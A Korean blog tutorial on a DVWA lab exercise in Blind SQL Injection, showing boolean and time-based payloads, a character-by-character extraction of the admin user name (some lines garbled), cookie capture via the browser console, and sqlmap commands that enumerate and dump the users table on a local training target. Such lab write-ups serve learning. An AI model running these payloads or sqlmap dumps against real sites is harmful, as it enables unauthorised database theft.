YYYEJI

[DVWA] 웹 모의해킹 실습 (Blind SQL Injection) 본문

Security

[DVWA] 웹 모의해킹 실습 (Blind SQL Injection)

YEJI ⍢ 2022. 7. 29. 12:14
728x90

Blind SQL Injection

이 공격 기법이 가능하면 데이터 베이스의 정보를 다 가져올 수 있기 때문에 매우 위험합니다.

검색 엔진 부분에서 많이 test하고, 

결과가 true/false로 나타낼 때 Blind SQL Injection 시도를 많이 합니다.

 

 

실습 Let's get it ٩( )و

 

Blind SQL Injection - Low level

1' OR 1=1#
1' AND 1=2#

 

1' AND sleep(3)#               // 3초 뒤에 정보가 뜸

How  ? ? ?

DB의 Information schema -> 중요한 정보가 다 들어있음.

해커는 데이터 베이스 이름조차 모르지만  Blind SQL Injection 기법을 사용해서

DB이름 찾고 테이블 찾고 하면서 정보 다 찾아감.

 

아래 코드로 계속해서 아이디를 찾아가는데 ! ! !

1'and ascii(substr((select first_name from users where user_id'1')2,)1)) > 99#

_id='1'),1,1))>91#

_id='1'),1,1))>96#

_id='1'),1,1))>97#     // True -> 97 = 'a'

_id='1'),1,1))>100#     // True -> 100 = 'd'

.

.

.

result is admin

 

사람이 하나하나 찾아볼 수 없기 때문에

찾아주는 프로그램을 다운로드 합니다.

https://sqlmap.org

 

.zip file을 다운로드 해주세요 !

 

 

view -> Developer -> Developer tool -> Console

$ console.log(document.cookie);

↑↑↑ Console 창에 입력해주면 아래에 cookie가 뜹니다 ↑↑↑

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce"

python sqlmap.py -u "site_url?id=1&Submit=Submit" --cookie="위에서 알아낸 코드" 를 터미널에 입력해줍니다.

$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce"

 

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce" --current-db

$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce" --current-db

↑↑↑ 위에 명령어에서 --current-db 추가하면 db 정보가 뜹니다. ↑↑↑

 

 

 

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce" -D dvwa --table

$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce" -D dvwa --tables

↑↑↑ 위에 명령어에서 -D dvwa --tables 추가하면 현재 db의 데이터 정보가 뜹니다. ↑↑↑

 

 

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce" -T users -dump

$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94471f7f26200bd43e9f2b421692c6ce" -T users -dump

여기서 dump는 전체조회 같은 느낌으로 생각하시면 될 거 같습니다.

↑↑↑ 위에 명령어에서 -T users -dump 추가하면 현재 db의 데이터 정보가 뜹니다. ↑↑↑

 

 

Blind SQL Injection - Medium level

마지막 줄에 1 OR 1=1# 치고 Forward 눌러주면
성공 ! ! !

 

 

Blind SQL Injection - High level

high level도 low level처럼 풀면 됩니다 ! ! !

 

 

 

수고하셨습니다 ×͜×